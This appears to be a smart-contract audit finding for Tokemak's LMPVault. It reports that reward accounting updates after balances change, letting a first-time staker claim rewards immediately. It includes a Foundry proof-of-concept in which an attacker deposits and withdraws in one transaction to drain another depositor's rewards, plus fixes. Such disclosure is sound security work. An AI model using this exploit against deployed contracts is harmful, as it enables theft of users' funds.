Bald Turquoise Shetland

high

# Malicious actor can steal rewards because rewards are not updated prior to staking
## Summary

When a user deposits/mints he starts gathering rewards. The reward logic incorrectly assigns initial rewards without initializing `userRewardPerTokenPaid[account]` which leads to immediate rewards earned.

## Vulnerability Detail
When a user deposits `_afterTokenTransfer` is called **AFTER** the users balance is updated.
Therefore `rewarder.stake` will be called after the balance is updated (to start earning rewards).
```solidity
    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual override {
-------
        if (to != address(0)) {
            rewarder.stake(to, amount);
        }
    }
```

`stake` calls `_updateReward` to update the rewards earned for the account
```solidity
    function stake(address account, uint256 amount) public onlyStakeTracker {
        _updateReward(account);
-------
```

`_updateReward` updates `rewards[account]` and `userRewardPerTokenPaid[account]`
```solidity
    function _updateReward(address account) internal {
--------
        rewardPerTokenStored = rewardPerToken();
--------
        if (account != address(0)) {
            earnedRewards = earned(account);
            rewards[account] = earnedRewards; 
            userRewardPerTokenPaid[account] = rewardPerTokenStored;
        }
--------
    }

    function earned(address account) public view returns (uint256) {
        return (balanceOf(account) * (rewardPerToken() - userRewardPerTokenPaid[account]) / 1e18) + rewards[account];
    }
```

ISSUE -> In first staking the calculation of the earned rewards from `earned(address account)` will be:
```solidity
balanceOf(account) * rewardPerToken() / 1e18
``` 
since `userRewardPerTokenPaid[account])` and `rewards[account]` were never initialized. 
This means that `rewards[account]` will be set to the balance of the user multiplied by the current `rewardPerToken` **immediately**.

`_updateReward` should be called before updating the balance.

Reward distribution will be unbalanced and later depositors will receive more rewards then earned

Additionally a hacker can leverage this bug to steal all rewards:
When a user withdraws `_beforeTokenTransfer` is called to withdraw the rewards for the user
https://github.com/sherlock-audit/2023-06-tokemak/blob/main/v2-core-audit-2023-07-14/src/vault/LMPVault.sol#L834
```solidity
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override whenNotPaused {
-------
        if (from != address(0)) {
            rewarder.withdraw(from, amount, true);
        }
``` 

Therefore a malicious actor can perform both deposit and withdraw in the same transaction and sweep rewards. (see POC)

## Impact

There are a major implications of this bug
1. Unfair distribution of rewards - later depositor will get a bigger slice of rewards for his staking time then a previous depositor.  (Loss of funds)
2. Malicious actor can steal the rewards. (Loss of funds)

Additionally, both 1 and 2 will make withdrawals of legitimate users revert due to insufficient TOKE rewards

## Code Snippet

The following POC shows how a depositor (ALICE) is supposed to earn all rewards but then in the same transaction the hacker deposits and withdraws and gains all the rewards to himself leaving Alice with 0 rewards.

Add the following test to `LMPVault-Withdraw.t.sol`
```solidity
    function test_steal_reward() public {
        _accessController.grantRole(Roles.DV_REWARD_MANAGER_ROLE, address(this));
        _lmpVault.rewarder().addToWhitelist(address(this));

        // Alice Deposit 10_000 to vault
        address alice = address(0xdeadbeef);
        _asset.mint(alice, 1_000);
        vm.startPrank(alice);
        _asset.approve(address(_lmpVault), 1_000);
        _lmpVault.deposit(1_000, alice);
        vm.stopPrank();

        // rewarder adds 1_000_000 rewards to the queue (just under MIN_STAKE_AMOUNT)
        uint256 rewardToAdd = 1_000_000;
        _toke.mint(address(this), rewardToAdd);
        _toke.approve(address(_lmpVault.rewarder()), rewardToAdd);
        _lmpVault.rewarder().queueNewRewards(rewardToAdd);

        // Go to the future to accumulate rewards 
        vm.roll(block.number + 10_000);

        // Validate alice is eligible for ALL rewards
        uint256 aliceReward = _lmpVault.rewarder().earned(alice);
        assertEq(aliceReward, rewardToAdd);

        // Hacker deposits 1_000_000_000
        address hacker = address(0x1337);
        uint256 hackerAmount = 1_000_000_000;
        _asset.mint(hacker, hackerAmount);
        
        vm.startPrank(hacker);
        _asset.approve(address(_lmpVault), hackerAmount);
        uint256 shares = _lmpVault.deposit(hackerAmount, hacker);
        
        // Hacker withdraw 1_000_000_000 tokens
        _lmpVault.withdraw(hackerAmount, hacker, hacker);
        vm.stopPrank();

        // Validate hacker was able to get all his funds back
        assertEq(_asset.balanceOf(hacker), hackerAmount);
        // Validate that hacker was able to receive all rewards (minus 1)
        assertEq(_toke.balanceOf(hacker), rewardToAdd - 1);

        // Validate that alice has no rewards
        aliceReward = _lmpVault.rewarder().earned(alice);
        assertEq(aliceReward, 0);
    }
```

To execute run
```solidity
forge test --match-test "test_steal_reward" -vvv 
```

Expected output:
```solidity
Running 1 test for test/vault/LMPVault-Withdraw.t.sol:LMPVaultMintingTests
[PASS] test_steal_reward() (gas: 748994)
Test result: ok. 1 passed; 0 failed; finished in 8.01ms
```

## Tool used

Manual Review, Foundry

## Recommendation

There are two mitigations that can be placed:
1. Add a `updateReward` function the the `MainRewarder` and call it in `_beforeTokenTransfer`:
```solidity
    function updateReward(address account) public onlyStakeTracker {
        _updateReward(account);
    }
```
```solidity
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override whenNotPaused {
        // Nothing to do really do here
        if (from == to) {
            return;
        }

        if (to != address(0)) {
            rewarder.updateReward(to);
        }
-------
```

2. In `_updateReward` check if `userRewardPerTokenPaid[account]` is zero, if so do not update ` rewards[account]`

Same logic should be applied to DestinationVault